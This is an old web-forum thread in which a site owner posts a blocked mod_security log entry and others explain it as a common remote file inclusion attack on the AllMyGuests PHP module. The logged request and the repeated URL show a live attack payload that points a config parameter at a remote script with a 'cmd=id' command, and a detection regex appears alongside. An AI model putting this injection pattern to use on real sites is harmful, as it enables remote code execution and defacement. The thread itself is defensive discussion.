Defacing tool - Help me interpert what I found in my log...

Posted: Sat Jun 10, 2006 5:11 pm

Code:




[Sat Jun 10 16:41:05 2006] [error] [client x.x.x.x] mod_security: Access denied with code 403. Pattern match "=(http|www|ftp)\\\\:/(.+)\\\\.(c|dat|gif|jpg|jpeg|png|sh|txt|bmp|dat|txt|js|html?|tmp|asp)\\\\x20?\\\\?" at REQUEST_URI [severity "EMERGENCY"] [hostname "www.myhost.com"] [uri "/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=http://www.panzergrenadiers.com/ss/tool25.dat?&list=1&cmd=id"]

I changed my host name to myhost and x'd out the IP address, but otherwise this is exactly what I happened to notice in my log today. What does this mean? It looks like my hosts server blocked it, not my Nuke or Sentinel. Correct?

If you look at the link

http://www.panzergrenadiers.com/ss/tool25.dat?&list=1&cmd=id

It appears to be some kind of defacing script.

What's going on here and who should I contact? Thanks.

Sells PC To Pay For Divorce Joined: Posts: 5661

Welcome to the club,yes these are simple tools they use on hundreds of websites everyday.
The attacks are usualy targeted towards forums,allmyguests,coppermine,gallery2 etc...and the list continues.
Most of the times it doesnt work but they are doing this by remote and hope someday they have a victim...
and theres nothing much you can do,but make sure you are secured and dont use any mods thats aren't secure..

Posted: Sat Jun 10, 2006 5:51 pm

That´s club member number 100.001 Smile

Nice club.

403 in your log files means forbidden so there is nothing to do. Do a search here in the forum for AllMyGuests signin.php or cmd.

Posted: Sat Jun 10, 2006 9:23 pm

This site and defacing tool was in my log tonight when I checked it too. It was from a Turkish IP address and I had taken advantage of Nuke Sentinel and the import tool and IP2country tables to ban the whole country. You might want to look at that option unless you need Turkish users. There are a few countries where a lot of hacks come from. In the hack script that I looked at he includes another hack script from Brazil.

Just try to keep current with Sentinel and keep checking your logs and make sure no one has a back door into your site via the administrative interface provided by your host.

registered · Site Admin Joined: Jun 04, 2004 Posts: 6437

While it's true that most of the script kiddies who use tools like this probably couldn't figure out how to spoof their IP address, it isn't that hard to do...